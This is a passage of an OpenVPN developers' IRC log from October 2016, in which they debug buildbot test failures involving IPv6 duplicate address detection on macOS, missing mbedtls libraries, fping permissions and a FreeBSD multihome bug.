tunnelblick and loaded the tap driver 04:17 <@plaisthos> I will try if the tap tests now also work ... 04:20 <@cron2> dazo: have you heard anything from mail-archive.org wrt searching? 04:24 <@plaisthos> FAIL: IPv6 ping test (64 bytes) failed, but should succeed. 04:24 <@plaisthos> run IPv6 ping tests (want_ok), 1440 byte packets... 04:24 <@plaisthos> run IPv6 ping tests (want_ok), 3000 byte packets... 04:24 <@plaisthos> -e ping tests done. 04:25 <@plaisthos> for ### test run 4a: 'udp(6) / p2pm / tap3' ### 04:25 <@plaisthos> test 4 worked okay 04:26 <@cron2> AFAIR the only difference is "--dev tap" vs. "--dev tap3", so autoconfigure or named device 04:26 <@plaisthos> and proto udp6 vs udp4 04:27 <@cron2> so, which one is failing? 04:27 <@plaisthos> udp6 04:27 <@plaisthos> but only the 64 byte pping 04:28 <@plaisthos> the 1440 and 3000 byte ping worked okay 04:28 <@cron2> this is strange 04:28 <@cron2> mmmh 04:28 <@plaisthos> lets assume this a temporary network outage :) 04:28 <@cron2> maybe not, maybe our test is too fast on tap now 04:29 <@cron2> like, we're pinging while the ipv6 address is still in "tentative" state, waiting for DAD to complete... 04:29 <@cron2> OTOH, we do IPv4 ping first, that should take sufficiently long 04:29 * cron2 is guessing 04:29 <@plaisthos> cron2: we don't do DAD ... 04:29 <@plaisthos> do we? 04:29 <@cron2> *we* do not, but MacOS might do, on a TAP ("multiaccess interface") 04:31 <@plaisthos> cron2: the builds should start soon from your commit, right? 04:31 <@plaisthos> lets see if the tests fails there as well 04:33 <@cron2> plaisthos: haven't seen your ACK yet 04:33 <@cron2> ah 04:33 <@cron2> arrived just now :) 04:36 <@cron2> pushing 04:37 * plaisthos waits for the buildbot 04:37 <@plaisthos> I am going to lunch. lets see what happens after lunch with the build bot 04:37 <@cron2> enjoy :) 04:37 <@plaisthos> we should really add a --cipher null --ncp-disable test in t_client btw. 04:38 <@cron2> somewhere on my TODO list is to extend test 6 to make it more client-drive-able by passing IV_WANT_... stuff to a client-connect script on the server 04:38 <@cron2> like, IV_WANT_CIPHER=null 04:39 <@cron2> (or any of the others, actually, no reason why they could not share the same --client-connect script) 04:42 <@vpnHelper> RSS Update - gitrepo: make t_client robust against sudoers misconfiguration <https://github.com/OpenVPN/openvpn/commit/8ca29af7c6d4759ce019ec9d0cd3eae4511a6804> || Automatically cache expected IPs for t_client.sh on the first run <https://github.com/OpenVPN/openvpn/commit/df0b00c253e41cce9567be79dbd3faa14c60473b> 05:05 <@cron2> mattock: ubuntu1604 wants mbedtls installed 05:06 <@cron2> slypknot: tincan-gentoo fails all *ping* tests, but "ifconfig" succeeds. Still using the same certs on all machines? In that case, they'll kick each other out from the server... 05:09 <@cron2> tincan-centos7 is mostly happy except for test 6 05:15 <@cron2> plaisthos: your builder complains about 4 + 4a 05:16 <@cron2> 4 has the same issue as 4a 05:16 <@cron2> FAIL: IPv6 ping test (64 bytes) failed, but should succeed. 05:16 <@cron2> wtf 05:17 < slypknot> cron2: fping .. 05:17 < slypknot> fping -b 64 -C 20 -p 250 -q 10.194.0.1 10.194.2.1 05:17 < slypknot> (null): can't create socket (must run as root?) : Permission denied 05:17 < slypknot> fping6 -b 64 -C 20 -p 250 -q fd00:abcd:194:0::1 fd00:abcd:194:2::1 05:17 < slypknot> (null): can't create raw socket (must run as root?) : Permission denied 05:19 < slypknot> that is gentoo 05:20 < slypknot> I have unique certs all around now 05:21 <@plaisthos> cron2: only the 64 bit ping again? 05:22 <@plaisthos> slypknot: fping without suid flag installed? 05:22 <@plaisthos> sounds like a great gentoo idea 05:23 <@plaisthos> on the other hand my os x fping work without suid 05:24 <@plaisthos> my linux ones too 05:28 <@plaisthos> tap3: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500 05:28 <@plaisthos> ether 6a:72:c9:75:fa:e3 05:28 <@plaisthos> inet 10.194.4.25 netmask 0xffffff00 broadcast 10.194.4.255 05:28 <@plaisthos> inet6 fe80::6872:c9ff:fe75:fae3%tap3 prefixlen 64 scopeid 0x8 05:28 <@plaisthos> inet6 fd00:abcd:194:4::1017 prefixlen 64 05:28 <@plaisthos> nd6 options=1<PERFORMNUD> 05:28 <@plaisthos> media: autoselect 05:28 <@plaisthos> status: active 05:28 <@plaisthos> open (pid 94293)that looks good ... 05:53 <@cron2> plaisthos: yes, only 64, but 4 and 4a 05:55 <@cron2> mattock: fedora24 is also missing mbedtls 05:56 <@cron2> slypknot: your mbedtls installation is not fully working - the runtime linker isn't finding the libraries 05:56 <@cron2> ../src/openvpn/openvpn: error while loading shared libraries: libmbedtls.so.10: cannot open shared object file: No such file or directory 05:56 <@cron2> sounds like you need to run "ldconfig" or so 05:56 < slypknot> which bot or all ? 05:57 <@cron2> that was centos7 05:57 < slypknot> ok 05:57 < slypknot> gentoo should be able to fping now 06:06 < slypknot> centos7 mbedtls should be good now 06:10 <@cron2> can't trigger a build from $here (@customer's), but will poke things tonight 06:12 <@plaisthos> cron2: it is really about timing 06:12 <@plaisthos> 13:07]{1}buildbot@pan:~% fping6 -b 1000 -C 20 -p 250 -q fd00:abcd:194:0::1 fd00:abcd:194:2::1 06:12 <@plaisthos> fd00:abcd:194:0::1 : - - - - 126.83 126.90 126.89 127.14 127.16 127.05 127.54 127.16 126.91 126.83 127.16 127.15 126.97 126.77 127.54 127.30 06:12 <@plaisthos> fd00:abcd:194:2::1 : - - - 221.78 126.68 126.82 126.80 128.44 127.25 126.98 126.84 126.91 126.73 126.89 127.02 126.98 126.76 126.74 126.97 126.89 06:12 <@cron2> meh 06:14 <@cron2> so we need a DELAY_AFTER_INIT_4/_4a that will insert a sleep($n) before "run_ping_tests ... want_ok" 06:16 <@plaisthos> that will not help actually 06:16 <@cron2> y? 06:17 <@plaisthos> hm actually might help 06:17 <@plaisthos> the problems seem to be to neighbor advertisment 06:17 <@plaisthos> os x seem to drop packets until it is sure that nobody else is using its address or something like that 06:17 <@cron2> DAD = duplicate address detection 06:18 <@plaisthos> ah 06:18 <@plaisthos> right 06:18 <@cron2> "query for myself, and see if anyone answers" :) 06:18 <@plaisthos> yeah but that seem to be the problem 06:18 <@cron2> I have forgotten what the default timer is, but it might well be 5 seconds or so 06:19 <@plaisthos> interestingly the later pings are sent 06:19 <@plaisthos> but fping is not paient enough 06:33 <@plaisthos> cron2: should I disable 4 and 4a until we get that fixed? 06:34 <@cron2> plaisthos: shall I cook up a patch to add a delay for certain tests? 06:34 <@plaisthos> that would also be good 06:38 <@vpnHelper> RSS Update - gitrepo: Update cipher-related man page text <https://github.com/OpenVPN/openvpn/commit/5a1daf533ae283e258732260c96461e820e61fe6> 06:42 <@cron2> plaisthos: you have mail :) 06:42 <@cron2> (sent cc: to you directly, as I suspect -devel greylisting will hit me again) 06:43 <@cron2> slypknot: tincan-arch-amd64 failed test 6, which looks like "proto udp6" is still used - it tries IPv6, and fails to connect 06:44 <@cron2> Tue Oct 4 12:32:02 2016 UDP link remote: [AF_INET6]2607:fc50:1001:5200::4:51198 06:44 <@cron2> arch also fails "libmbedtls.so.10 cannot open shared object file: No such file or directory" 06:49 < slypknot> cron2: remote: 2607:.. I do not have IPv6 internet .. shall I disable that test on all ? 06:50 <@cron2> just make it "udp" not "udp6" 06:50 <@plaisthos> POSTINIT_CMD_4="sleep 5" 06:50 <@plaisthos> POSTINIT_CMD_4a="sleep 5" 06:50 <@cron2> (or even better, get IPv6 internet :) ) 06:50 <@plaisthos> lets see whats happens 06:50 < slypknot> lol 06:50 <@cron2> plaisthos: yep 06:50 <@plaisthos> too lazy to run only 4 and 4a 06:50 <@plaisthos> might take a while 06:50 <@cron2> :) 06:53 < danhunsaker> It would be so nice if US ISPs would get with the v6 rollout. 06:54 <@plaisthos> you can always get an IPv6 tunnel 06:54 <@plaisthos> or use 6to4 06:54 <@cron2> or change ISP 06:54 < danhunsaker> Have an HE tunnel, myself. But no local ISPs support it. 06:54 <@cron2> (almost every region has an ISP today that offers IPv6 - like, Comcast) 06:55 <@cron2> danhunsaker: no comcast in your region? 06:55 < danhunsaker> Pfft. No. 06:55 < danhunsaker> CableOne. 06:55 <@cron2> yay for pseudomonopolies 06:55 < danhunsaker> Which might support v6 elsewhere, but piggybacks on CenturyLink in this area. 06:56 <@plaisthos> cron2: seems to work 06:56 <@cron2> \o/ 06:56 < danhunsaker> We'll catch up. But it'll take another decade, I'd estimate. 06:56 < danhunsaker> What I get for living in Idaho. 06:57 < slypknot> cron2: arch mbedtls should be good now 06:57 <@plaisthos> dman 06:57 <@plaisthos> only on 4 06:57 <@plaisthos> I will try again with 10s 06:57 < danhunsaker> (Just a few hundred miles south, Google Fiber. Oh, to have access to that one...) 06:57 <@cron2> slypknot: we'll see :) 06:58 <@plaisthos> okay now only 4 and 4a 07:00 <@plaisthos> hm no 07:00 < slypknot> cron2: i don't see any udp6 in test 6 ? 07:00 <@plaisthos> 10 s don't help 07:00 <@plaisthos> 6a is udp6 07:00 <@plaisthos> 6 is udp4 07:00 < slypknot> 6a is not enabled here .. 07:01 <@cron2> slypknot: well, nail it to udp4 then... your box definitely tries IPv6, and fails to connect 07:01 < slypknot> 6a does not even exist here .. 07:02 < slypknot> # Test 6: UDP / p2mp tun, top subnet, --fragment 500 07:02 < slypknot> RUN_TITLE_6="udp / p2pm / top subnet / --fragment 500" 07:02 < slypknot> OPENVPN_CONF_6="$OPENVPN_BASE_P2MP --dev tun --proto udp --remote $REMOTE --port 51198 --fragment 500" 07:02 < slypknot> that is the last test 07:03 <@plaisthos> slypknot: ip route -6 get conn-test-server.openvpn.org 07:03 <@cron2> meh 07:03 <@plaisthos> narf wrong syntax 07:03 <@cron2> 2.3 does not have test_prep and test_cleanup, so this does not apply 07:04 <@plaisthos> slypknot: what does ip route get 2607:fc50:1001:5200::4 on your box tell you? 07:04 <@plaisthos> cron2: meh, sleep 15 isn't enough 07:04 <@cron2> if you leave a ping running in a different window, how long does it take after openvpn init to be happy? 07:05 < slypknot> plaisthos: 2607:fc50:1001:5200::4 from :: via 12fc:1918::10:10:201:1 dev eth0 src 12fc:1918::10:10:201:226 metric 1024 pref medium 07:05 <@cron2> slypknot: whee. Your system *thinks* it has IPv6 connectivity, so it takes a full timeout to fall over to IPv4 07:05 < slypknot> ok 07:05 <@cron2> if there were no route, it would fail right away (or even prefer IPv4, and not try v6 at all) 07:06 < slypknot> i use ipv6 internally (for learning etc) 07:06 <@plaisthos> sleep 30 does not work either 07:06 <@plaisthos> slypknot: that will give more trouble that it is helping 07:06 <@cron2> this is too long, DAD should be done in "a few seconds", maybe 5-ish or so, but certainly not 30 07:06 <@plaisthos> http://test-ipv6.com/ will probably screem at you 07:06 <@vpnHelper> Title: Test your IPv6. (at test-ipv6.com) 07:07 < danhunsaker> Sounds like time isn't the factor that makes it start working... 07:08 < slypknot> what if i amend test 6 with udp4 like so: OPENVPN_CONF_6="$OPENVPN_BASE_P2MP --dev tun --proto udp4 --remote $REMOTE --port 51198 --fragment 500" 07:08 <@plaisthos> that should work 07:08 <@plaisthos> but your ipv6 setup is still broken 07:08 <@cron2> what plaisthos says :) 07:09 < danhunsaker> slypknot: I'd disable v6 assignment on your eth0... 07:09 < danhunsaker> For your build box, that is. 07:10 <@plaisthos> cron2: it seem to do DAD on the first ipv6 packet .... 07:10 <@plaisthos> or not 07:10 <@plaisthos> hm 07:10 <@cron2> mememe... POSTINIT_CMD_4="ping -c 1 fd00:abcd:194:0::1 ; sleep 5" then :-) 07:11 * cron2 knew why he actually tested "multiple commands" there 07:11 <@plaisthos> -e running post-init cmd: 'ping -c 1 fd00:abcd:194:0::1 ; sleep 5' 07:11 <@plaisthos> ping: cannot resolve fd00:abcd:194:0::1: Unknown host 07:11 <@plaisthos> dman 07:11 <@cron2> sorry 07:13 < danhunsaker> *ping6 07:14 <@plaisthos> 14:10:54.910790 IP6 fd00:abcd:194:4::1017 > fd00:abcd:194:4::1017: ICMP6, destination unreachable, unreachable address fd00:abcd:194:4::1, length 168 07:14 <@plaisthos> now everything is broken 07:15 <@plaisthos> maybe the buildbot ran at the same time 07:18 <@cron2> might well be 07:21 < slypknot> I will disable ipv6 on eth for all buildbots 07:21 <@cron2> and talk to your ISP and ask for IPv6 :) 07:22 < danhunsaker> There's always the chance they have v6 and just aren't telling... 07:23 <@plaisthos> pinging the ips I really want to reach later seems to work 07:23 <@plaisthos> POSTINIT_CMD_4="fping6 fd00:abcd:194:0::1 fd00:abcd:194:2::1 ; sleep 5" 07:25 < danhunsaker> Odd. Wonder what the real fix is... 07:25 <@cron2> "whatever" :) 07:26 <@plaisthos> buildbot should now finally work without problems *fingers crossed* 07:26 * cron2 sends another wave... 07:26 <@plaisthos> danhunsaker: I think timing of nd 07:26 <@plaisthos> that the ipv6 nd takes 1-2s and that is the time that fping is already finshed 07:26 <@plaisthos> how to I display ipv6 neighbours anyway?! 07:27 < danhunsaker> Isn't it possible to adjust the RTT? 07:28 <@vpnHelper> RSS Update - gitrepo: add POSTINIT_CMD_suf to t_client.sh and sample config <https://github.com/OpenVPN/openvpn/commit/bae1ad7005fd9a1fadeed56370a9ac5422a33fee> 07:29 <@plaisthos> modifying rtt would involve changing speed of light 07:29 <@cron2> tincan-arch-amd64 still tries IPv6 on test 6, but that could have been "last test round" 07:29 < danhunsaker> Pfft. Electron speed is easier and more directly applicable. 07:29 <@plaisthos> ndp -a does not list entries on tap3 07:29 <@cron2> plaisthos: on freebsd, it's "ndp -a" 07:29 <@plaisthos> wtf?! 07:30 <@cron2> interesting 07:30 <@plaisthos> oh it is only test 3 07:30 <@plaisthos> nevermind 07:30 < danhunsaker> The final T was actually meant to be Timeout, though, in this case. 07:31 < danhunsaker> (so... RTTout?) 07:32 <@plaisthos> danhunsaker: I am pretty that most of the path between the two boxes is light fibre 07:32 <@plaisthos> I don't know how cron2's machine is connect but there might not even copper Ethernet involved :) 07:32 < danhunsaker> Probably is at the ISP's equipment, at least. 07:33 < danhunsaker> Cheap bastards. 07:33 <@cron2> nah, my buildslaves are in "the olde cluster", which only has 4xcopper GE uplink from the blade center switch 07:33 <@cron2> from there, all fiber... 07:33 < danhunsaker> But either way, electrons and photons differ by very little anyway. 07:33 <@plaisthos> that box here actually is 2x10G fibre connected 07:34 <@cron2> no idea how ecrist's box (where the conn-test-server is) is connected... 07:34 <@plaisthos> photons in fibre are slower than electrons in coppe :) 07:34 <@plaisthos> ~2/3c vs ~3/4c 07:34 < danhunsaker> Pfft. Copper. Noobs. 07:35 <@plaisthos> cron2: is there another buildbot job coming up so we know that it will really work? :) 07:35 < danhunsaker> Either gold, or entangled quantum link. 07:35 <@cron2> "if you want FAST internet, you need copper!" :) 07:36 <@plaisthos> and signal regeneration every few hundert meters! :) 07:36 <@cron2> plaisthos: it should have the latest push queued, but I can't see the status page right now (not @home and too lazy to set up a tunnel home to access the community VPN) 07:36 <@plaisthos> ================== 07:36 <@plaisthos> All 3 tests passed 07:36 <@plaisthos> ================== 07:36 <@plaisthos> wheeeeeeeeeeeeee! 07:36 <@plaisthos> :) 07:36 <@cron2> *dance* 07:36 < danhunsaker> In seriousness, though, there should be a way to adjust how long fping6 waits for a reply... 07:37 <@plaisthos> danhunsaker: the icmp6 request are not queued 07:37 <@cron2> it waits 1 second the way we call it, which is plenty 07:37 <@plaisthos> not all of them 07:37 <@plaisthos> and the ones that are queued are ignored by fping 07:38 <@plaisthos> cron2: buildbot also build 2.3, right? 07:38 <@cron2> not automatically 07:39 <@cron2> when triggering a manual build, one can select the branch and revision to build - but I'd expect 2.3 to blow up in interesting ways given the configure arguments we use (like, --with-crypto=mbedtls) 07:39 < danhunsaker> Just feels like a lot of a hack to ping a couple of IPs before the test starts, just to make sure they'll actually respond properly *during* the test. 07:40 < danhunsaker> But hey, if you're comfortable with it, not my concern! 07:43 <@plaisthos> ./crypto_openssl.h:33:10: fatal error: 'openssl/evp.h' file not found 07:43 <@plaisthos> narf 07:43 <@cron2> of course it is a hack :) - but what shall we do if the standard approach ("bring up tap, ping, bring down tap") doesn't work because the OS gets in the way? 07:43 <@plaisthos> for 2.3 I need different environment to build 07:43 <@cron2> normal usage will most likely see a lost SYN or so, which the client will retry after a few seconds, and not notice... 07:43 <@plaisthos> another time ... 07:47 <@plaisthos> danhunsaker: yeah it is not perfect but it is one race conditions things that you probably never going to really fix without hacks like that 07:48 <@dazo> Hmmm ... http://www.perlmonks.org/?node_id=170648 .... could this be an approach? Try to sniff what happens on the tunnel? If it fails to attach to a tun/tap device, that's also an indication of something going bad 07:48 <@vpnHelper> Title: Perl and Net::Pcap (at www.perlmonks.org) 07:48 < danhunsaker> *shrug* I'm stubborn in other ways, I guess. 07:48 <@dazo> (there are similar tools in Python as well, and there's libpcap for C) 07:48 <@plaisthos> Err, it works now 07:48 <@plaisthos> it has taken too much time 07:49 <@plaisthos> feel free to build soemthing better, I am out of this mess for now :) 07:49 <@dazo> hehehe 07:49 <@plaisthos> that "easy to setup" buildslave had too many problems 07:49 <@plaisthos> because it was the first OS X machine 07:50 <@plaisthos> like this /User/buildbot vs /home/buildbot, Ipv6 privacy not working with kvm, path to kill different, pathes to openssl and other libs different and so on 07:50 <@cron2> but thanks a lot anyway - it is good we know that we're not breaking MacOS X unexpectedly :) 07:51 <@cron2> dazo: please be fixing your ack-am URL query bits :) 07:51 < danhunsaker> Yes, only deliberate breaks, kthx. 07:51 <@cron2> oh, deliberate breakage is much more fun 07:52 <@cron2> "close: notabug" 07:55 <@plaisthos> ui buildboot is building something again 07:56 <@plaisthos> hopefully without error this time 07:56 <@dazo> cron2: meh .... it's still the mail-archive.com service which isn't working :-/ 07:57 * dazo sends a complaint to mail-archive.com 08:03 * cron2 pokes mattock, again, about missing mbedtls on his buildslaves... 08:06 <@plaisthos> cron2: no failure from pan? 08:06 <@cron2> nothing yet 08:06 <@cron2> is it still building, or done? 08:06 <@plaisthos> or whatever it is called in buildbot :) 08:06 <@plaisthos> still doing stuff 08:12 <@plaisthos> currently running make check 08:13 <@dazo> This begins to look promising .... but {mid,article,thread}.gmane.org isn't available yet :/ 08:15 <@dazo> http://dir.gmane.org/gmane.network.openvpn 08:15 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at dir.gmane.org) 08:16 <@dazo> hmmm ... http://thread.gmane.org/gmane.network.openvpn.devel/11848 works ... but not the main index http://thread.gmane.org/gmane.network.openvpn.devel/ 08:16 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 08:24 <@plaisthos> I think my buildslave is done 08:25 <@cron2> it is, I just received an error mail :) - lemme see 08:26 <@cron2> it failed 4a 08:26 <@cron2> FAIL: IPv6 ping test (64 bytes) failed, but should succeed. 08:26 <@cron2> *grumble* 08:26 <@plaisthos> damn it 08:26 <@plaisthos> OS X, also known as random test failure generator 08:26 <@cron2> (and we need to fix the "echo -e" stuff, that's most annoying) 08:27 <@plaisthos> echo -e? 08:27 <@cron2> -e test run 4: all tests OK. 08:27 <@plaisthos> oh :) 08:27 <@plaisthos> because of different shell? :) 08:27 <@plaisthos> /bin/sh --version 08:27 <@plaisthos> GNU bash, version 3.2.57(1)-release (x86_64-apple-darwin15) 08:28 <@cron2> can't see what t_client.sh is run under, but bash' echo nicely does "echo -e"... 08:28 <@cron2> anyway. need to swim home (raining, bicycle,...) and fetch $kid from Kindergarten... bbl 08:28 <@plaisthos> [15:24]arne@pan:~% sh 08:28 <@plaisthos> sh-3.2$ echo -e test 08:28 <@plaisthos> -e test 08:29 <@cron2> hrmbl, bash pretending to be not-bash 08:36 < danhunsaker> Bourne compatibility mode... 08:51 <@ecrist> cron2: It's a VPS at RootBSD on Xen - I'm guessing copper. 09:17 <@d12fk> https://code.facebook.com/posts/1658392934479273/smaller-and-faster-data-compression-with-zstandard/ 09:17 <@vpnHelper> Title: Smaller and faster data compression with Zstandard | Engineering Blog | Facebook Code | Facebook (at code.facebook.com) 09:18 <@d12fk> has james looked into this, does anybody know? 09:20 <@d12fk> however probably questionable if the speed penalty is worth the add in compression if you look at the table with LZ4 it still is drastically slower 09:22 <@cron2> d12fk: haven't heard anything 09:22 <@cron2> james seems to move towards "avoid anything that costs battery life", so if it needs more CPU, it might not find his liking 09:24 <@plaisthos> we might even need to benchmark the different compressor with our very unusual problem of <=1400 byte to compress 09:24 <@plaisthos> and see how they fare there 09:24 <@cron2> slypknot: arch is still failing to run openvpn-with-mbedtls 09:24 <@plaisthos> when wordbook size etc. are a significant part of the compressed data 09:30 < slypknot> cron2: buildbot can do "./configure --with-crypto-library=mbedtls --enable-crypto && make" on 2.3_git no problem .. 09:31 <@cron2> slypknot: 2.3_git is not 2.3 09:32 <@cron2> but the point is that the resulting binary does not *work* 09:32 <@cron2> if you do make and then src/openvpn/openvpn --version, you'll see 09:33 < slypknot> I am using mbedtls-2.2.1 is that not good ? 09:33 <@cron2> 2.2.1 is perfectly fine, but your system is not set up properly 09:33 <@cron2> run the command, look at the error message, go fix it (most likely by calling "ldconfig" to update the linker cache) 09:37 < slypknot> ldconfig has no libmbedtls.so.N 09:37 <@cron2> that's why 09:39 <@cron2> check how you tell your system to look into the directory where libmbedtls.so.* went, then run "ldconfig -v" to update the cache 09:40 < slypknot> yerp 09:44 <@cron2> buildmaster says tincan-centos-7 is offline? 10:03 < slypknot> mine are offline atm 10:04 < slypknot> arch now had libmbedtls.so.10 in ldconfig via /etc/ld.so.conf.d/mbedtls.conf: /usrlocal/lib 10:04 < slypknot> has* 10:04 < slypknot> /usr/local/lib obv. 10:05 < slypknot> src/openvpn/openvpn --version works correctly 10:06 < slypknot> rebooting arch to test everything starts up ok 10:09 <@cron2> good 10:12 < slypknot> do you need me to disable IPV6 on eth0 completely ? ie. no link-local fe80:* 10:13 <@plaisthos> slypknot: depends on what you are aiming for 10:13 <@plaisthos> for the openvpn tests you can force all tests to be udp4/tcp4 10:13 < slypknot> to stop test 6 trying udp6 .. 10:13 <@plaisthos> then udp4 instead of udp is enough 10:14 <@plaisthos> your machine still will prefer ipv6 over ipv4 and connections will timeout before falling back to ipv4 10:15 < slypknot> i am simply trying to make buildbot-master happy 10:15 < slypknot> what is preferred ? 11:02 <@cron2> well, buildslaves are supposed to test "realistic" scenarios, so "--proto udp" *should* work - if it doesn't, fixing IPv6 (either by making it fail fast, so openvpn can failover, or making it work) is preferred 11:02 <@cron2> if that cannot be done, --proto udp4 serves as a workaround to at least test the rest 11:10 <@syzzer> mattock: you're a mailinglist moderator, right? My resent patch is still waiting in the moderation queue... 11:11 <@syzzer> (or at least, so it seems) 11:22 <@vpnHelper> RSS Update - tickets: #747: auth-user-pass-verify via-env password is not transfered to the script <https://community.openvpn.net/openvpn/ticket/747> 13:37 < lev__> syzzer: r u around? 13:53 < lev__> indeed, it was cherry-pick error 14:03 < lev__> with enable-pedantic I got crypto_openssl.c:281:3: error: C++ style comments are not allowed in ISO C90 // OpenSSL doesn't require any translation 14:03 < lev__> in 2.3 https://github.com/OpenVPN/openvpn/commit/e659a8d04171583fecf9760fb73fd9031fe948be#diff-cd48a9282e5d5c787dacbd9d65e68ea8R286 14:03 <@vpnHelper> Title: Config compatibility patch. Added translate_cipher_name. · OpenVPN/openvpn@e659a8d · GitHub (at github.com) 14:23 < slypknot> fping6 should now also be good on gentoo 14:28 <@syzzer> lev__: nope, wasn't, and now just really short ;) 14:29 <@syzzer> re C90 comment style error: #care ;) 14:30 < lev__> so I'll fix methods names in 2.3 and move code to update_digest 14:48 < slypknot> cron2: mattock .. could i get a build kicked please 14:52 <@cron2> where? 14:52 < slypknot> sorry just *had* to do one more reboot .. they are coming online now 14:52 <@cron2> all of them? one of them? mbedtls variants? 14:53 < slypknot> all please 14:56 < slypknot> system-&%^$*(£$(-D 14:58 < slypknot> builds get queued do they ? 14:58 <@cron2> centos-7 still listed as offline 14:58 <@cron2> yes, builds get queued 14:59 < slypknot> cool .. its almost there 15:00 < slypknot> they /should/ all restart completely even if/when W10 reboots for updates 15:10 <@cron2> now *that* is an interesting new error... 15:10 <@cron2> Tue Oct 4 22:06:26 2016 write UDPv6: Device not configured (code=6) 15:10 <@cron2> *scratch head* 15:11 <@cron2> sendmsg() is returning an error that is not in the list of possible return values in the manpage... 15:12 < slypknot> probable operator error .. pointing at me ;) 15:13 < slypknot> which bot ? 15:19 <@cron2> freebsd 10, test 2c, --multihome is triggering funnies in the kernel 15:27 <@cron2> meh 15:27 <@cron2> pkti6->ipi6_ifindex = to->pi.in6.ipi6_ifindex 15:27 <@cron2> this sets ifindex to 30113300, which most certainly does not exist 15:32 <@cron2> ok, --multihome on FreeBSD 10 / amd64 is very officially totally kaput 15:32 <@cron2> it's sending a structure that is too small, and if I fix that, it turns out that even the data I have is not correct... wtf 15:33 <@cron2> this was ... interesting (and the kernel is right about returning ENXIO if I try to send packets with an interface address that doesn't exist) 16:13 < slypknot> do mine pass the tests ? 16:16 < slypknot> cron2: ^^ 21:47 <@ecrist> mattock: the man pages are out of order on the openvpn.net web page. 23:07 <@vpnHelper> RSS Update - tickets: #748: connection timed out <https://community.openvpn.net/openvpn/ticket/748> --- Day changed Wed Oct 05 2016 02:53 <@cron2> slypknot: let me check 02:55 <@cron2> debian85 fails test 6 with large packets (v4+v6!). Which is interesting. 02:56 <@cron2> centos7 has the same issue (test 6, large packets, v4+v6). Let me test this from one of my linuxes 02:57 <@cron2> gentoo fails test 5 with 3000 bytes IPv6, and test 6 with 3000 bytes v4+v6 02:58 <@cron2> arch fails test 6 with 3000 bytes v4+v6 02:59 <@cron2> this is the only thing that fails, so embedtls is now good 03:00 <@cron2> Test sets succeded: 6. 03:01 <@cron2> (my gentoo client, so the server *should* be good...) 03:01 <@cron2> slypknot: could you check your netscreen whether it's reporting anything unusual, like "UDP flood detected" 03:02 < danhunsaker> Still love Gentoo, but sometimes hate updating it. 03:07 * cron2 hates all operating systems. With passion :-) 03:08 <@cron2> but from the Linux variants, I've stuck to gentoo... which is sort of BSDish, with recompiling things all the time :-) (OTHO my FreeBSDs are now mostly using binary packages... funny world) 03:10 < danhunsaker> Still planning to build an OS someday... But, alas, today is not that day. 03:17 <@cron2> oh, wonderful times 03:18 <@cron2> Wed Oct 5 10:14:19 2016 [server] Peer Connection Initiated with [AF_INET6]2607:fc50:1001:5200::4:51194 (via 2001:608:0:814::f000:6%em0) 03:18 <@cron2> the "%em0" was an "%undef" yesterday night... messing up the *send* path... 03:18 <@cron2> and the underlying issue is "someone who wrote the posix_sendmsg/recvmsg code was taking shortcuts, which are backfiring on SOME 64bit systems, but not on Linux" 03:18 <@cron2> so, buffers are too small, and things fail in strange ways... 03:51 <@plaisthos> this multihome seems like a sea of pain 03:51 <@plaisthos> I admire your patience getting that fixed 03:59 <@cron2> the alternative for a system with more than IP address is "many listening sockets"... 03:59 <@cron2> (plus, add/remove listening sockets dynamically when the underlying OS adds/removes interfaces) 03:59 <@cron2> which is even more annoying, because you need to keep network privs... bind/ntpd do this, and it's annoying as well 04:09 <@plaisthos> I know 04:10 <@cron2> we should just give up on UDP :) *duck* 06:52 < slypknot> cron2: no errors on netscreen 06:53 < slypknot> manually running test 6 fping => 06:53 < slypknot> $ fping -b 3000 -c 3 -p 3000 10.194.6.1 10.194.0.1 06:53 < slypknot> 10.194.6.1 : [0], 3028 bytes, 551 ms (551 avg, 0% loss) 06:53 < slypknot> 10.194.6.1 : [1], 3028 bytes, 551 ms (551 avg, 0% loss) 06:53 < slypknot> 10.194.6.1 : xmt/rcv/%loss = 3/2/33%, min/avg/max = 551/551/551 06:53 < slypknot> 10.194.0.1 : xmt/rcv/%loss = 3/0/100% 06:59 < slypknot> more: 06:59 < slypknot> 1$ fping -b 3000 -c 10 -p 3000 10.194.6.1 10.194.0.1 06:59 < slypknot> 10.194.6.1 : [0], 3028 bytes, 549 ms (549 avg, 0% loss) 06:59 < slypknot> 10.194.6.1 : [1], 3028 bytes, 549 ms (549 avg, 0% loss) 06:59 < slypknot> 10.194.6.1 : [2], 3028 bytes, 863 ms (654 avg, 0% loss) 06:59 < slypknot> 10.194.6.1 : [3], 3028 bytes, 551 ms (628 avg, 0% loss) 06:59 < slypknot> 10.194.6.1 : [4], 3028 bytes, 558 ms (614 avg, 0% loss) 06:59 < slypknot> 10.194.6.1 : [5], 3028 bytes, 552 ms (604 avg, 0% loss) 06:59 < slypknot> 10.194.6.1 : [6], 3028 bytes, 563 ms (598 avg, 0% loss) 06:59 < slypknot> 10.194.6.1 : [7], 3028 bytes, 550 ms (592 avg, 0% loss) 06:59 < slypknot> 10.194.6.1 : [8], 3028 bytes, 550 ms (587 avg, 0% loss) 06:59 < slypknot> 10.194.6.1 : xmt/rcv/%loss = 10/9/10%, min/avg/max = 549/587/863 06:59 < slypknot> 10.194.0.1 : xmt/rcv/%loss = 10/0/100% 06:59 < slypknot> ip route: 07:00 < slypknot> $ ip route 07:00 < slypknot> default via 10.10.201.1 dev eth0 07:00 < slypknot> 10.10.201.0/24 dev eth0 proto kernel scope link src 10.10.201.238 07:00 < slypknot> 10.177.36.0/24 via 10.177.36.169 dev tun10 07:00 < slypknot> 10.177.36.169 dev tun10 proto kernel scope link src 10.177.36.170 07:00 < slypknot> 10.194.0.0/16 via 10.194.6.1 dev tun0 07:00 < slypknot> 10.194.6.0/24 dev tun0 proto kernel scope link src 10.194.6.13 07:06 < slypknot> host: debian85 ^^ 07:07 < slypknot> openvpn: sudo ../../src/openvpn/openvpn --client --ca /home/buildbot/test-ca.crt --cert /home/buildbot/test-client.crt --key /home/buildbot/test-client.key --ns-cert-type server --nobind --comp-lzo --verb 3 --dev tun --proto udp --remote phillip.secure-computing.net --port 51198 --fragment 500 07:07 < slypknot> testdir: buildbot@deb8-hyv-live-64:~/openvpn/build-tincan-debian-85-amd64-stable-master/build/tests/t_client-deb8-hyv-live-64-20161004-211641 07:11 < slypknot> t_client.rc: 07:11 